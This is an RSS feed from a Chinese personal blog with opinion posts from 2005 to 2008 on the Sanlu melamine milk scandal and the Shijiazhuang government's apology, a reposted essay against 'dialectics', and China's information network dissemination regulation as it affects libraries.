<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>超平的博客 &#187; 热点</title>
	<atom:link href="http://www.mingzhiguwen.net/archives/tag/%e7%83%ad%e7%82%b9/feed" rel="self" type="application/rss+xml" />
	<link>http://www.mingzhiguwen.net</link>
	<description></description>
	<lastBuildDate>Wed, 01 Feb 2012 13:18:58 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>石家庄 政府，发错文了！</title>
		<link>http://www.mingzhiguwen.net/archives/391.html</link>
		<comments>http://www.mingzhiguwen.net/archives/391.html#comments</comments>
		<pubDate>Wed, 01 Oct 2008 13:53:00 +0000</pubDate>
		<dc:creator>超平</dc:creator>
				<category><![CDATA[无事生非]]></category>
		<category><![CDATA[热点]]></category>

		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/%e7%9f%b3%e5%ae%b6%e5%ba%84-%e6%94%bf%e5%ba%9c%ef%bc%8c%e5%8f%91%e9%94%99%e6%96%87%e4%ba%86%ef%bc%81.html</guid>
		<description><![CDATA[关键词 ： 石家庄政府 道歉 三鹿集团 据说，这是石家庄在向公众道歉： “中央调查组和河北省委、省政府领导对这次事故的定性认识以及事故所导致的后果，对我们触动很大，我们经过认真反思，从思想上查找根源，深刻认识到这次三鹿牌婴幼儿配方奶粉重大食品安全事故，我们有不可推卸的责任。” 但凡有一点基本的文字能力，都能判断这是发错文了，把本该上报给中央或省里的检讨当作道歉文发出来了（公文里没有道歉文种和检讨文种，我只是为了方便才这么说）。对公众能这么道歉吗？如果没有来自上头的定性，石家庄市政府就不能被触动？就认识不到这是重大事故、有不可推卸的责任？即使面对数以万计的中毒儿童，还有那些夭折的生命？ “一是政治上敏感性差，站位不高，只是就事论事，就请示说请示，对事故缺乏政治上的敏感性，没有上升到事关全局的、事关人民群众生命健康的高度去认识，去看待三鹿集团反映的问题。二是认识不到位，后果估计不足。对这次事故的严重危害，缺乏前瞻性分析，错误地认为采取了必要的措施，提高了产品质量，就能够挽回影响，减少损失，以至于在国内外造成了重大不良影响。” 如果不考虑政治因素，即使面对数以万计的中毒儿童，面对花骨朵儿般生命的夭折，他们的认识都上不了“事关人民群众生命健康”的高度？ 所以，这哪里是道歉，对象并不是俺们这些公众，而是他们的上级，口口声声字里行间都在顶上级：还是领导强，站得高看得远，我们没那个水平，这不，犯错误了，而且，自己还看不出错误，多亏了上级的帮助。上级的帮助还挺难理解的，害我们认真反思，从思想上挖根源，才深刻认识了…… 石家庄政府，千万别告诉我们你们分不清道歉和检讨的区别。 所以，你们还没有道歉！]]></description>
			<content:encoded><![CDATA[<p><strong>关键词</strong> ： <a href="http://tag.bokee.com/tag/%CA%AF%BC%D2%D7%AF%D5%FE%B8%AE" target="_blank">石家庄政府</a> <a href="http://tag.bokee.com/tag/%B5%C0%C7%B8" target="_blank">道歉</a> <a href="http://tag.bokee.com/tag/%C8%FD%C2%B9%BC%AF%CD%C5" target="_blank">三鹿集团</a> <span style="font-size: small;"></span></p>
<p><span style="font-size: small;">据说，这是石家庄在向公众道歉：</span></p>
<p><span style="font-size: small; color: #ff0000;">“中央调查组和河北省委、省政府领导对这次事故的定性认识以及事故所导致的后果，对我们触动很大，我们经过认真反思，从思想上查找根源，深刻认识到这次三鹿牌婴幼儿配方奶粉重大食品安全事故，我们有不可推卸的责任。”</span></p>
<p><span style="font-size: small;">但凡有一点基本的文字能力，都能判断这是发错文了，把本该上报给中央或省里的检讨当作道歉文发出来了（公文里没有道歉文种和检讨文种，我只是为了方便才这么说）。</span><span id="more-391"></span><span style="font-size: small;">对公众能这么道歉吗？如果没有来自上头的定性，石家庄市政府就不能被触动？就认识不到这是重大事故、有不可推卸的责任？即使面对数以万计的中毒儿童，还有那些夭折的生命？</span></p>
<p><span style="font-size: small;"><span style="color: #ff0000;">“一是政治上敏感性差，站位不高，只是就事论事，就请示说请示，对事故缺乏政治上的敏感性，没有上升到事关全局的、事关人民群众生命健康的高度去认识，去看待三鹿集团反映的问题。二是认识不到位，后果估计不足。对这次事故的严重危害，缺乏前瞻性分析，错误地认为采取了必要的措施，提高了产品质量，就能够挽回影响，减少损失，以至于在国内外造成了重大不良影响。”</span> </span></p>
<p><span style="font-size: small;">如果不考虑政治因素，即使面对数以万计的中毒儿童，面对花骨朵儿般生命的夭折，他们的认识都上不了“事关人民群众生命健康”的高度？</span></p>
<p><span style="font-size: small;">所以，这哪里是道歉，对象并不是俺们这些公众，而是他们的上级，口口声声字里行间都在顶上级：还是领导强，站得高看得远，我们没那个水平，这不，犯错误了，而且，自己还看不出错误，多亏了上级的帮助。上级的帮助还挺难理解的，害我们认真反思，从思想上挖根源，才深刻认识了……</span></p>
<p><span style="font-size: small;">石家庄政府，千万别告诉我们你们分不清道歉和检讨的区别。</span></p>
<p><span style="font-size: small;">所以，你们还没有道歉！</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mingzhiguwen.net/archives/391.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>天下的父母，天下的孩子</title>
		<link>http://www.mingzhiguwen.net/archives/388.html</link>
		<comments>http://www.mingzhiguwen.net/archives/388.html#comments</comments>
		<pubDate>Tue, 16 Sep 2008 13:20:00 +0000</pubDate>
		<dc:creator>超平</dc:creator>
				<category><![CDATA[无事生非]]></category>
		<category><![CDATA[热点]]></category>

		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/%e5%a4%a9%e4%b8%8b%e7%9a%84%e7%88%b6%e6%af%8d%ef%bc%8c%e5%a4%a9%e4%b8%8b%e7%9a%84%e5%ad%a9%e5%ad%90.html</guid>
		<description><![CDATA[其实早在二十年前我就知道奶农往原料奶里加东东的事情，当时重庆的地方报纸曾有长篇报道，据说加的好东东是尿素，可以增加比重，使掺水牛奶可以通过验收。 我生儿子以后，不知道得罪了哪路神仙，没有奶水，我当时是虔诚地想用母乳喂养儿子的，体形什么的，对我而言不构成任何障碍。为了发奶，我几乎吃遍了所有民间和中医的偏方，什么花生炖猪脚，鲫鱼汤，甚至还吃了妈妈从中药房里买回来的穿山甲的壳（煮水喝，是世界上最难吃的东东），但没有就是没有，中医说俺气虚。最后，只好把喂养儿子的重任委托给奶牛妈妈们。 儿子还是长大了，幸好，没有双肾结石，也许，那个时候真的没有加三聚氰胺这一“高科技”。 儿子是喝当地牛奶长大的，那个时候没有配方奶粉，也没听说过什么进口奶粉，就是有，也吃不起，每月加上奖金，200多大洋（这个收入当时是低于很多企业的工人的）。我最近常想，如果那个时候有三鹿和进口之选，我可能就是今天那些抱着孩子流泪的母亲中的一员。 两千万妈妈的选择，变成了两千万份撕心裂肺的痛苦；而两千万妈妈的选择，背后是两千万妈妈的无奈。 在这个世界上，父母到底要为孩子付出多少担心？ 孩子长大以后呢？ 都说可怜天下父母心。下面说说另一种痛苦吧，就是不知道，那些父母们是否已经意识到。 去年4-5月份间，我为毕业班学生写鉴定，照例先看看学生的自我鉴定。大多数学生都为自己四年的大学生生活总结出一二三……，但有一份鉴定让我异常震惊，内容大致如下：我在大学里学到了很多东西，有很大的进步，但也有很多不足，今后要更加努力。 我不敢相信这是浙大的学生写出来的自我鉴定（经历了去年的高考，我更加深刻地了解了考进浙大的学生有多么优秀），当年他们被浙大录取时，他们的父母该有多么幸福。我久久地看着面前的这份毕业生登记表，仿佛看到的是他父母痛苦的眼睛。 前两天跟一个韩国留学生聊天，他告诉我，在韩国，大学毕业后，就业也相当困难，跟我们一样，大学生们也热衷于各种各样的“考证”，同样也有一个庞大的公务员报考人群。 因为种种原因，很多父母不得不把孩子送到国外留学，包括到中国，浙大就有数以千计的韩国留学生。 我问那个韩国学生，你知道你的同胞们在浙大的学习情况吗？相当多的，根本就不读书，甚至不上课，上学期我的一门课，绝大多数韩国学生，交来的课程论文一看就知道是网上抄来的，他们最后来交论文时，我才发现，好些个面孔，我从来没有见过，其中有两位，交来的课程论文竟然一字不差。 他说，他知道，然后告诉我，其实那些人的家境并不很好，都是父母很认真地工作赚来的钱供他们出来读书，他们的父母，都以为他们在中国学习得很好。 再回到三鹿，前几个月，三鹿推出一个新品种——红枣酸奶，凭心而论，味道相当不错，我狠买了几回呢，每次一大桶，前后不下10次吧。后来朋友送我一个酸奶机，我开始DIY酸奶，这才免了继续受到三聚氰胺的侵害。自打三鹿门后，我开始出现排尿困难的症状，要不是考虑到把医院让给小宝宝们，我肯定照B超去了。 一边关注着三鹿门，一边在心里感慨：天下的父母，天下的孩子。]]></description>
			<content:encoded><![CDATA[<p><span style="font-size: small;">其实早在二十年前我就知道奶农往原料奶里加东东的事情，当时重庆的地方报纸曾有长篇报道，据说加的好东东是尿素，可以增加比重，使掺水牛奶可以通过验收。</span></p>
<p><span style="font-size: small;">我生儿子以后，不知道得罪了哪路神仙，没有奶水，我当时是虔诚地想用母乳喂养儿子的，体形什么的，对我而言不构成任何障碍。为了发奶，我几乎吃遍了所有民间和中医的偏方，什么花生炖猪脚，鲫鱼汤，甚至还吃了妈妈从中药房里买回来的穿山甲的壳（煮水喝，是世界上最难吃的东东），但没有就是没有，中医说俺气虚。最后，只好把喂养儿子的重任委托给奶牛妈妈们。</span><span id="more-388"></span></p>
<p><span style="font-size: small;">儿子还是长大了，幸好，没有双肾结石，也许，那个时候真的没有加三聚氰胺这一“高科技”。</span></p>
<p><span style="font-size: small;">儿子是喝当地牛奶长大的，那个时候没有配方奶粉，也没听说过什么进口奶粉，就是有，也吃不起，每月加上奖金，200多大洋（这个收入当时是低于很多企业的工人的）。我最近常想，如果那个时候有三鹿和进口之选，我可能就是今天那些抱着孩子流泪的母亲中的一员。</span></p>
<p><span style="font-size: small;">两千万妈妈的选择，变成了两千万份撕心裂肺的痛苦；而两千万妈妈的选择，背后是两千万妈妈的无奈。</span></p>
<p><span style="font-size: small;">在这个世界上，父母到底要为孩子付出多少担心？</span></p>
<p><span style="font-size: small;">孩子长大以后呢？</span></p>
<p><span style="font-size: small;">都说可怜天下父母心。下面说说另一种痛苦吧，就是不知道，那些父母们是否已经意识到。</span></p>
<p><span style="font-size: small;">去年4-5月份间，我为毕业班学生写鉴定，照例先看看学生的自我鉴定。大多数学生都为自己四年的大学生生活总结出一二三……，但有一份鉴定让我异常震惊，内容大致如下：我在大学里学到了很多东西，有很大的进步，但也有很多不足，今后要更加努力。</span></p>
<p><span style="font-size: small;">我不敢相信这是浙大的学生写出来的自我鉴定（经历了去年的高考，我更加深刻地了解了考进浙大的学生有多么优秀），当年他们被浙大录取时，他们的父母该有多么幸福。我久久地看着面前的这份毕业生登记表，仿佛看到的是他父母痛苦的眼睛。</span></p>
<p><span style="font-size: small;">前两天跟一个韩国留学生聊天，他告诉我，在韩国，大学毕业后，就业也相当困难，跟我们一样，大学生们也热衷于各种各样的“考证”，同样也有一个庞大的公务员报考人群。</span></p>
<p><span style="font-size: small;">因为种种原因，很多父母不得不把孩子送到国外留学，包括到中国，浙大就有数以千计的韩国留学生。</span></p>
<p><span style="font-size: small;">我问那个韩国学生，你知道你的同胞们在浙大的学习情况吗？相当多的，根本就不读书，甚至不上课，上学期我的一门课，绝大多数韩国学生，交来的课程论文一看就知道是网上抄来的，他们最后来交论文时，我才发现，好些个面孔，我从来没有见过，其中有两位，交来的课程论文竟然一字不差。</span></p>
<p><span style="font-size: small;">他说，他知道，然后告诉我，其实那些人的家境并不很好，都是父母很认真地工作赚来的钱供他们出来读书，他们的父母，都以为他们在中国学习得很好。</span></p>
<p><span style="font-size: small;">再回到三鹿，前几个月，三鹿推出一个新品种——红枣酸奶，凭心而论，味道相当不错，我狠买了几回呢，每次一大桶，前后不下10次吧。后来朋友送我一个酸奶机，我开始DIY酸奶，这才免了继续受到三聚氰胺的侵害。自打三鹿门后，我开始出现排尿困难的症状，要不是考虑到把医院让给小宝宝们，我肯定照B超去了。</span></p>
<p><span style="font-size: small;">一边关注着三鹿门，一边在心里感慨：天下的父母，天下的孩子。<br />
</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mingzhiguwen.net/archives/388.html/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>玩一把转帖</title>
		<link>http://www.mingzhiguwen.net/archives/257.html</link>
		<comments>http://www.mingzhiguwen.net/archives/257.html#comments</comments>
		<pubDate>Sun, 01 Jul 2007 13:56:00 +0000</pubDate>
		<dc:creator>超平</dc:creator>
				<category><![CDATA[无事生非]]></category>
		<category><![CDATA[热点]]></category>

		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/%e7%8e%a9%e4%b8%80%e6%8a%8a%e8%bd%ac%e5%b8%96.html</guid>
		<description><![CDATA[用辩证法分析该死的辩证法：又一个悖论 段海新 最近常有人说我“偏激”，大致的理由是我没有学会“辩证地看问题”，不能在批评的同时，肯定它的合理性、进步性、科学性，比如对中医、对传统文化、对专制制度。 “辩证法”似乎成了中国最科学的思维方式，被大多数中国人奉为普遍真理。连中医也曾声称自己“辩证施治”，以彰显自己的科学性。我今天要惹一惹这可恶的辩证法了。首先声明，我对哲学没有研究，当年政治课上死记硬背的东西丢光了，可以说无知者无畏。 “任何事物都是一分为二的”。这句话符合辩证法的逻辑吧？任何事物都是矛盾的对立统一。 应用这个逻辑，便可以得出“风水尽管不科学，但是也不能一棍子打死”。“中国传统文化虽然落后，但是它总有先进的一面”。“现在的制度虽然不完善，既然是存在的，总有合理性的一面”。可以说“民主是个好东西”，也可以说“民主是个坏东西”。 继续用“辩证”者的方法来分析：山西的黑砖窑的奴隶制，是不是也有合理性、进步性的一面？ 我们也“一分为二”的分析一下上面这句话：是不是有些事物可以不“一分为二”呢？ 在逻辑上都不能自圆其说的东西，显然不符合科学的基本特征。这种思维方法科学吗？ 马恩列主义中的很多“普遍真理”，我们今天都不信了；唯独“辩证法”在中国大行其道，深入人心。我觉得中国有“辩证法”生根、发芽并繁盛的肥沃土壤，即中国认识自然界的“阴阳”理论和为人处事的“中庸”哲学。阴阳的荒谬不值一驳了；很多“聪明人”仍然富于“中庸”这种和稀泥的“智慧”，揣着明白装糊涂。 无论什么会议，总能听见许多人模棱两可的发言。他本来要坚决反对某个做法，特别在伤害自己利益时；但是在表达自己真实意见之前，还是会表示对该做法合理性的维护和理解，然后一个转折，“但是，…”，这“但是”以后才是他发言的本意，前面的话都是废话。对于不涉及利益的观点，很多人习惯于从正面、反面两个角度“辩证分析”一番，说一堆废话空话，根本不知道他是支持还是反对。不这样做好像表示自己不懂辩证法。 你就不能开门见山地、把自己的观点明明白白的说出来吗？！真受不了你！ 最近我问清华大学经管学院的一名博士生，你怎么看北大光华管理学院邹恒甫和张维迎之间的矛盾。他的回答是：狗咬狗。非要把双方拉出来各打五十大板，方能显示自己的公正、无私、辩证思维。 经过一番“辩证”之后，“是非”、“对错”、“黑白”全成了一团浆糊。 实在受不了“辩证法”这种混蛋逻辑了，该死的辩证法！！]]></description>
			<content:encoded><![CDATA[<p><span style="font-size: small;"><span style="font-size: medium;"><span style="font-weight: bold;">用辩证法分析该死的辩证法：又一个悖论</span></span></span></p>
<p><span style="font-size: small;">段海新</span></p>
<p><span style="font-size: small;">最近常有人说我“偏激”，大致的理由是我没有学会“辩证地看问题”，不能在批评的同时，肯定它的合理性、进步性、科学性，比如对中医、对传统文化、对专制制度。</span><span id="more-257"></span></p>
<p><span style="font-size: small;">“辩证法”似乎成了中国最科学的思维方式，被大多数中国人奉为普遍真理。连中医也曾声称自己“辩证施治”，以彰显自己的科学性。我今天要惹一惹这可恶的辩证法了。首先声明，我对哲学没有研究，当年政治课上死记硬背的东西丢光了，可以说无知者无畏。</span></p>
<p><span style="font-size: small;">“任何事物都是一分为二的”。这句话符合辩证法的逻辑吧？任何事物都是矛盾的对立统一。</span></p>
<p><span style="font-size: small;">应用这个逻辑，便可以得出“风水尽管不科学，但是也不能一棍子打死”。“中国传统文化虽然落后，但是它总有先进的一面”。“现在的制度虽然不完善，既然是存在的，总有合理性的一面”。可以说“民主是个好东西”，也可以说“民主是个坏东西”。</span></p>
<p><span style="font-size: small;">继续用“辩证”者的方法来分析：山西的黑砖窑的奴隶制，是不是也有合理性、进步性的一面？</span></p>
<p><span style="font-size: small;">我们也“一分为二”的分析一下上面这句话：是不是有些事物可以不“一分为二”呢？</span></p>
<p><span style="font-size: small;">在逻辑上都不能自圆其说的东西，显然不符合科学的基本特征。这种思维方法科学吗？</span></p>
<p><span style="font-size: small;">马恩列主义中的很多“普遍真理”，我们今天都不信了；唯独“辩证法”在中国大行其道，深入人心。我觉得中国有“辩证法”生根、发芽并繁盛的肥沃土壤，即中国认识自然界的“阴阳”理论和为人处事的“中庸”哲学。阴阳的荒谬不值一驳了；很多“聪明人”仍然富于“中庸”这种和稀泥的“智慧”，揣着明白装糊涂。</span></p>
<p><span style="font-size: small;">无论什么会议，总能听见许多人模棱两可的发言。他本来要坚决反对某个做法，特别在伤害自己利益时；但是在表达自己真实意见之前，还是会表示对该做法合理性的维护和理解，然后一个转折，“但是，…”，这“但是”以后才是他发言的本意，前面的话都是废话。对于不涉及利益的观点，很多人习惯于从正面、反面两个角度“辩证分析”一番，说一堆废话空话，根本不知道他是支持还是反对。不这样做好像表示自己不懂辩证法。</span></p>
<p><span style="font-size: small;">你就不能开门见山地、把自己的观点明明白白的说出来吗？！真受不了你！</span></p>
<p><span style="font-size: small;">最近我问清华大学经管学院的一名博士生，你怎么看北大光华管理学院邹恒甫和张维迎之间的矛盾。他的回答是：狗咬狗。非要把双方拉出来各打五十大板，方能显示自己的公正、无私、辩证思维。</span></p>
<p><span style="font-size: small;">经过一番“辩证”之后，“是非”、“对错”、“黑白”全成了一团浆糊。</span></p>
<p><span style="font-size: small;">实在受不了“辩证法”这种混蛋逻辑了，该死的辩证法！！<br />
</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mingzhiguwen.net/archives/257.html/feed</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>再议《信息网络传播权保护条例》</title>
		<link>http://www.mingzhiguwen.net/archives/134.html</link>
		<comments>http://www.mingzhiguwen.net/archives/134.html#comments</comments>
		<pubDate>Wed, 31 May 2006 16:27:00 +0000</pubDate>
		<dc:creator>超平</dc:creator>
				<category><![CDATA[图林春秋]]></category>
		<category><![CDATA[热点]]></category>

		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/%e5%86%8d%e8%ae%ae%e3%80%8a%e4%bf%a1%e6%81%af%e7%bd%91%e7%bb%9c%e4%bc%a0%e6%92%ad%e6%9d%83%e4%bf%9d%e6%8a%a4%e6%9d%a1%e4%be%8b%e3%80%8b.html</guid>
		<description><![CDATA[今天接到李国新教授的E信，他认为我对《条例》的反应过激了，他用一封长长的信告诉了我一些细节。他担心我的“过激”会影响到后续进程，我觉得不会有这么严重，我一个个人博客的情绪化的言论，不会产生什么影响的，顺便问一句，我有那么大的影响力吗？千万别吓唬我啊。 据国新教授讲，此次立法在程序上是民主、公正和透明的，国家版权局将《草案》报给国务院法制办后，法制办召开了不计其数的会，反反复复征求各方意见，每开一次会，各方都吵得不可开交，所以，最后的结果，应该说是“平衡”的结果。 我虽然不了解那些细节，但我毫不怀疑国新老师、肖燕老师等是经过了怎样的努力和争取的。如果我认为这个结果是失败的，那也是“调和”下的失败，而不是努力不到位、不对头的失败，我仍然看到的是立法机构对强势利益集团的照顾。 国新老师说，他对这个结果比我要多一些乐观，但我这个榆木脑袋还是乐观不起来。比起原来的第四条，现在的第七条并没有多了权利，反而多了限制。原来虽然没有明确说明“可以自行复制”，但“通过信息网络”提供本馆收藏的已经发表的作品，是一个模糊的表达，它完全可以理解为对已经发表的作品数字化后通过网络阅览系统向读者提供，现在明确了的确是好事，对纠纷的认定会更清晰，但从权利上看，并没有多出点什么。相反，却对数字化的范围进行了详细的规定，需知，在法律条款里，规定得越细，权力范围就越小。尤其让我意外的事，还特别明确了“本馆馆舍内”。 虽然这个结果也是经过千辛万苦挣来的，但利益是不是平衡了，还很难说。按出版行业的想法，最好是滴水不漏，所以每一点利益他们都不会放过，争得很艰难不等于就平衡了，意见上的平衡不等于利益的平衡。 这个话题太复杂，说起来没完没了。 不过，国新教授有一个观点我希望在这里传达一下：《条例》就这么出台了，首先我们必须遵守；其次，我们需要思考，在这个框架之下，那些是我们能够做的哪些是不能做的？我们如何在实践中去证明限制传播就是限制权利？ 就后一个问题，更多的是针对草案中的“法定许可”最终被取消，个中原因太复杂，有利益冲突，有操作上的困难，也有政治因素。当然，至于如何去证明“限制传播就是限制权利”，我想这个证明的方式本身就是一个课题。 很晚了，有话想说，为了明天必须打住。]]></description>
			<content:encoded><![CDATA[<p><span style="font-size: small;">今天接到李国新教授的E信，他认为我对《条例》的反应过激了，他用一封长长的信告诉了我一些细节。他担心我的“过激”会影响到后续进程，我觉得不会有这么严重，我一个个人博客的情绪化的言论，不会产生什么影响的，顺便问一句，我有那么大的影响力吗？千万别吓唬我啊。</span><span id="more-134"></span></p>
<p><span style="font-size: small;">据国新教授讲，此次立法在程序上是民主、公正和透明的，国家版权局将《草案》报给国务院法制办后，法制办召开了不计其数的会，反反复复征求各方意见，每开一次会，各方都吵得不可开交，所以，最后的结果，应该说是“平衡”的结果。</span></p>
<p><span style="font-size: small;">我虽然不了解那些细节，但我毫不怀疑国新老师、肖燕老师等是经过了怎样的努力和争取的。如果我认为这个结果是失败的，那也是“调和”下的失败，而不是努力不到位、不对头的失败，我仍然看到的是立法机构对强势利益集团的照顾。</span></p>
<p><span style="font-size: small;">国新老师说，他对这个结果比我要多一些乐观，但我这个榆木脑袋还是乐观不起来。比起原来的第四条，现在的第七条并没有多了权利，反而多了限制。原来虽然没有明确说明“可以自行复制”，但“通过信息网络”提供本馆收藏的已经发表的作品，是一个模糊的表达，它完全可以理解为对已经发表的作品数字化后通过网络阅览系统向读者提供，现在明确了的确是好事，对纠纷的认定会更清晰，但从权利上看，并没有多出点什么。相反，却对数字化的范围进行了详细的规定，需知，在法律条款里，规定得越细，权力范围就越小。尤其让我意外的事，还特别明确了“本馆馆舍内”。</span></p>
<p><span style="font-size: small;">虽然这个结果也是经过千辛万苦挣来的，但利益是不是平衡了，还很难说。按出版行业的想法，最好是滴水不漏，所以每一点利益他们都不会放过，争得很艰难不等于就平衡了，意见上的平衡不等于利益的平衡。</span></p>
<p><span style="font-size: small;">这个话题太复杂，说起来没完没了。</span></p>
<p><span style="font-size: small;">不过，国新教授有一个观点我希望在这里传达一下：《条例》就这么出台了，首先我们必须遵守；其次，我们需要思考，在这个框架之下，那些是我们能够做的哪些是不能做的？我们如何在实践中去证明限制传播就是限制权利？</span></p>
<p><span style="font-size: small;">就后一个问题，更多的是针对草案中的“法定许可”最终被取消，个中原因太复杂，有利益冲突，有操作上的困难，也有政治因素。当然，至于如何去证明“限制传播就是限制权利”，我想这个证明的方式本身就是一个课题。</span></p>
<p><span style="font-size: small;">很晚了，有话想说，为了明天必须打住。</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mingzhiguwen.net/archives/134.html/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>《信息网络传播权保护条例》忽悠了谁？</title>
		<link>http://www.mingzhiguwen.net/archives/133.html</link>
		<comments>http://www.mingzhiguwen.net/archives/133.html#comments</comments>
		<pubDate>Tue, 30 May 2006 16:13:00 +0000</pubDate>
		<dc:creator>超平</dc:creator>
				<category><![CDATA[图林春秋]]></category>
		<category><![CDATA[热点]]></category>

		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/%e3%80%8a%e4%bf%a1%e6%81%af%e7%bd%91%e7%bb%9c%e4%bc%a0%e6%92%ad%e6%9d%83%e4%bf%9d%e6%8a%a4%e6%9d%a1%e4%be%8b%e3%80%8b%e5%bf%bd%e6%82%a0%e4%ba%86%e8%b0%81%ef%bc%9f.html</guid>
		<description><![CDATA[《条例》终于出台了，7月1日就要正式实施了，出版业发动的“四、六条”歼灭战大获全胜了，图林惨败，不，是那些被称为公民、劳动人民或者草根的惨败了。《条例》忽悠了谁？还用回答吗？！ “从一开始就没有报多大的希望”，这是我很想说的话，但转念又不想说了，说它有什么意思呢？显得跟诸葛亮似的，图林纵使有一百个诸葛亮有什么用呢？现在不需要诸葛亮，因为根本就不是斗智斗勇的游戏，是斗气的游戏，斗权利的游戏，斗利益的游戏，斗谁的声音大的游戏。 所谓“和谐社会”看你怎么说，让声音大的人不响了就和谐了，让权利大的人满意了就和谐了，让利益大的人高兴了就和谐了。 草根就是草根，没有实质上的利益代言人，草根们的声音用稻草捂住谁也听不见就和谐了，草根们的愿望用法律压住谁也看不见就和谐了。 作家的利益和出版社的利益得到了最大限度的保障，“利益平衡机制”成了学者书斋里的乌托邦，我只是奇怪，到底是谁的脑子进水了？真的是陈传夫们、李国新们？]]></description>
			<content:encoded><![CDATA[<p><span style="font-size: small;">《条例》终于<a href="http://www.gov.cn/ziliao/flfg/2006-05/29/content_294075.htm"><span style="color: #3366ff;">出台</span></a>了，7月1日就要正式实施了，出版业发动的“四、六条”歼灭战大获全胜了，图林惨败，不，是那些被称为公民、劳动人民或者草根的惨败了。《条例》忽悠了谁？还用回答吗？！</span><span id="more-133"></span></p>
<p><span style="font-size: small;">“从一开始就没有报多大的希望”，这是我很想说的话，但转念又不想说了，说它有什么意思呢？显得跟诸葛亮似的，图林纵使有一百个诸葛亮有什么用呢？现在不需要诸葛亮，因为根本就不是斗智斗勇的游戏，是斗气的游戏，斗权利的游戏，斗利益的游戏，斗谁的声音大的游戏。</span></p>
<p><span style="font-size: small;">所谓“和谐社会”看你怎么说，让声音大的人不响了就和谐了，让权利大的人满意了就和谐了，让利益大的人高兴了就和谐了。</span></p>
<p><span style="font-size: small;">草根就是草根，没有实质上的利益代言人，草根们的声音用稻草捂住谁也听不见就和谐了，草根们的愿望用法律压住谁也看不见就和谐了。</span></p>
<p><span style="font-size: small;">作家的利益和出版社的利益得到了最大限度的保障，“利益平衡机制”成了学者书斋里的乌托邦，我只是奇怪，到底是谁的脑子进水了？真的是陈传夫们、李国新们？<br />
</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mingzhiguwen.net/archives/133.html/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>关注公共利益</title>
		<link>http://www.mingzhiguwen.net/archives/73.html</link>
		<comments>http://www.mingzhiguwen.net/archives/73.html#comments</comments>
		<pubDate>Mon, 28 Nov 2005 02:05:00 +0000</pubDate>
		<dc:creator>mzgw</dc:creator>
				<category><![CDATA[旁门左道]]></category>
		<category><![CDATA[热点]]></category>

		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/%e5%85%b3%e6%b3%a8%e5%85%ac%e5%85%b1%e5%88%a9%e7%9b%8a.html</guid>
		<description><![CDATA[一位署名为“关注公共利益”的网友在我的帖子后面贴出了两段留言，其中的冷静与智慧让我十分佩服，为了表示对这位网友的敬意，也为了让这个有着深刻思想的帖子引起大家的关注，我特意把它隆重推出。 信息网络传播权保护条例草案第四、六条是否与我国2001年颁布的著作权法和《与贸易有关的知识产权协议》相冲突，我想KK还需加强学习。2001年的著作权法新增了信息网络传播权，但并没有对新增的权利作出任何限制。利益平衡原则是版权法的核心原则，一部版权法如果仅设置权利而没有对权利的约束机制那绝对是不够的。而这正是信息网络传播权保护条例要解决的问题之一。合理使用与法定许可都是版权限制的方式，信息网络传播权保护条例草案第四、六条正是启用了这二种限制方式。虽然这是给予图书馆以豁免权，但这种制度安排事实上是为了保障公众的信息获取权。版权法的真正功用不仅仅保护作品免遭非法利用,还保护它们的合理使用。版权的平衡是为了每一个人,版权限制是版权法为平衡版权人个体利益与社会公众利益而创设的一种制度。 数字版权的扩张与技术措施的加强日益成为公众接触数字信息的障碍，信息富有者和信息贫乏者之间的信息差距日益加剧，“知识产权成了富国（人）的养料和穷国（人）的毒药”。 在知识产权强保护的体制中，谁是最大的获利者？版权产业集团。回顾国际版权条约和西方各国版权法修法历史，无不是一部版权产业集团利用其强势地位影响甚至控制修法路向的历史。如今在信息网络传播权保护条例草案公开之际，谁叫嚣得最凶？还是版权产业集团！ 在我们国家，大多数版权作品是由纳税人的钱支持的成果，大学、科研院所的研究人员甚至从事文艺创作的专业作家们，获得项目基金、课题资助和出版资助等（这都是纳税人的钱！），出版受版权保护的作品。如果没有合理使用和法定许可制度，支持这些版权作品产生的公众只有通过越来越昂贵的期刊订购、机构许可费或单篇文章付费的方式才能获得使用这些成果的有限权利。 草案第六条真的会如一些出版界人士所言，会重挫数字出版市场吗？我认为不会。首先，目前国内具备实力制作电子书通过网络向其注册用户传播，并能防止其进一步扩散的图书馆为数不是很多。这所需经费不菲，技术要求也高。包括租用通信网络，购买服务器，制作、保存数字资源，进行系统管理维护等；第二，那些具备实力的公益性图书馆，不是为了盈利（若是为了盈利，就不是第六条许可的范围了），未必会花很大力气去对馆藏电子化，若做电子书的成本高出购买电子版本，我想没有哪个图书馆会自寻麻烦。而这一条若能顺利通过，可能会起到的一个积极意义就是，避免我国数字出版仿效西方国家走垄断和暴利经营的道路，使数字资源的定价趋于合理。]]></description>
